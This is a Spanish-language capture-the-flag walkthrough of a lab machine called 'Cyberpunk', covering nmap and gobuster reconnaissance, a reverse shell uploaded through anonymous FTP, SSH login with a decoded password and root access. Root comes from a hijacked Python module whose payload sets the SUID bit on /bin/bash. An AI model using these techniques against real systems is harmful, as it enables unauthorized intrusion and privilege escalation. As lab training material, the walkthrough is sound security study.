# Cyberpunk

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.78
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FF5hmXmfw0YJhg1kSDFso%2Fimage.png?alt=media&#x26;token=9c859998-f88e-4ba9-a46a-7ce4b534a0f0" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -sVC -p- -n --min-rate 5000 192.168.1.78
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FgVzUmLuHApM6BEjqUys0%2Fimage.png?alt=media&#x26;token=e81dbe9b-2f64-4623-88ab-e5be4e6e7559" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo que el **puerto 21** perteneciente al **servicio FTP**, el **puerto 22** perteneciente al **servicio SSH** y el **puerto 80** perteneciente al **servicio HTTP** están abiertos por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p21,22,80 -v 192.168.1.78
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FecawgltrumitfMa2qNf3%2Fimage.png?alt=media&#x26;token=5c72139e-1844-4038-9829-2a803c6cb5dd" alt=""><figcaption></figcaption></figure>

Seguimos indagando más sobre los puertos y ahora exploramos el servicio **HTTP**. Ingresamos la IP y nos encontramos la página con una imagen de una chica hacker.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F5PyVlTbPjjs3iv3mkDwW%2Fimage.png?alt=media&#x26;token=d342982e-d2f0-40b2-89c7-06ce31c84a65" alt=""><figcaption></figcaption></figure>

Ahora buscaremos directorios con la herramienta **Gobuster** a través de:

```bash
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,htm,php,txt,xml,js -u http://192.168.1.78
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FY0Y3pb168wMvVJcH4TOM%2Fimage.png?alt=media&#x26;token=08d46aab-6fb9-4049-ad5f-c27b877afac7" alt=""><figcaption></figcaption></figure>

Encontramos un archivo interesante llamado `secret.txt`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FYLE6nHYgKVz0Oop6qEs5%2Fimage.png?alt=media&#x26;token=d6e92647-8588-47a8-be34-8b19bf54ff8b" alt=""><figcaption></figcaption></figure>

Voy a indagar al servicio **FTP** a través del usuario **anonymous** ya que hemos visto que tenemos acceso.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjMe6HjXqnYpcrMyrOSK3%2Fimage.png?alt=media&#x26;token=bcfc9816-cb02-4a95-bc57-b3921f9d4cff" alt=""><figcaption></figcaption></figure>

### 🚀 **EXPLOTACIÓN**

Al descargar estos archivos nos damos cuenta que es el mismo contenido que la página web por lo que subiremos una **revshell**. Nos ponemos en escucha, establecemos la conexión y revisamos que ya hemos establecido la conexión.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FBRIxu2o6DYWsnYMT2DdS%2Fimage.png?alt=media&#x26;token=76e1d6cc-bf35-4187-a373-30d4496fa7cf" alt=""><figcaption></figcaption></figure>

Tras ponerme en escucha y realizar tratamiento de la TTY. Como se nos muestra aquí: [Tratamiento de la TTY](https://invertebr4do.github.io/tratamiento-de-tty/). Listamos el contenido de varios directorios y encontramos un archivo en el directorio `/opt`.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FWVMcRSylHmckoqEiYndN%2Fimage.png?alt=media&#x26;token=7952276e-b881-4147-8d25-4b94859c4c3e" alt=""><figcaption></figcaption></figure>

Es un código **Brainfuck** así que vamos a desencriptar.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FOlL0RsmSLM6CWWRVhaZp%2Fimage.png?alt=media&#x26;token=6b06d569-8e68-4162-8b6d-88a80270ebe7" alt=""><figcaption></figcaption></figure>

Hemos descubierto la contraseña del usuario **arasaka**. Sabiendo esto, nos conectamos a través de **SSH** al usuario con el comando:

```bash
ssh arasaka@192.168.1.78
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F167h4UqQkCk7JcxKtLu3%2Fimage.png?alt=media&#x26;token=ebca9613-9d75-412f-a0c3-efbc23b8bffc" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

Al estar dentro y ejecutar:

```bash
whoami
```

aún no somos **root**, por lo que hacemos:

```bash
sudo -l
```

para ver si hay algo para explotar.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FtY5DhwRVTqoDhdrtOlCj%2Fimage.png?alt=media&#x26;token=00c213e9-e03c-4a31-89c2-ef08e2cad227" alt=""><figcaption></figcaption></figure>

Listamos permisos ocultos con `ls -la`.&#x20;

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F7ML9vlOGyfHWwIPlBZgx%2Fimage.png?alt=media&#x26;token=c47693d6-8ce4-46c1-83f2-266a6a5479d8" alt=""><figcaption></figcaption></figure>

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FfG6nzEap8dZwBvSP14Ht%2Fimage.png?alt=media&#x26;token=93ffabcc-feb1-4f11-88ae-71e48b079402" alt=""><figcaption></figcaption></figure>

Como observamos que el archivo utiliza la biblioteca `base64` de manera relativa, procederemos a crear un archivo llamado `base64.py` . Luego, le otorgaremos permisos de ejecución para que podamos aprovecharlo cuando se ejecute con privilegios de `sudo`.

```bash
import os;
os.system("chmod u+s /bin/bash")
```

Ejecutamos el script con permisos de **root**.

```bash
sudo -u root /usr/bin/python3.11 /home/arasaka/randombase64.py
```

Vemos los permisos y ejecutamos los siguientes comandos:

```bash
ls -la /bin/bash
bash -p
```

Ya somos **root**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FdViJMGg5cuzJH3VC80u5%2Fimage.png?alt=media&#x26;token=e9220cc7-7edb-47ea-bd4a-ef5a12ab6da5" alt=""><figcaption></figcaption></figure>

Te deseo mucho éxito en tu búsqueda de las flags! Recuerda prestar atención a cada detalle, examinar los archivos y servicios con detenimiento, y utilizar todas las herramientas disponibles para encontrarlas. La clave para el éxito está en la perseverancia y en no dejar ningún rincón sin explorar. ¡Adelante, hacker! 💻🔍🚀
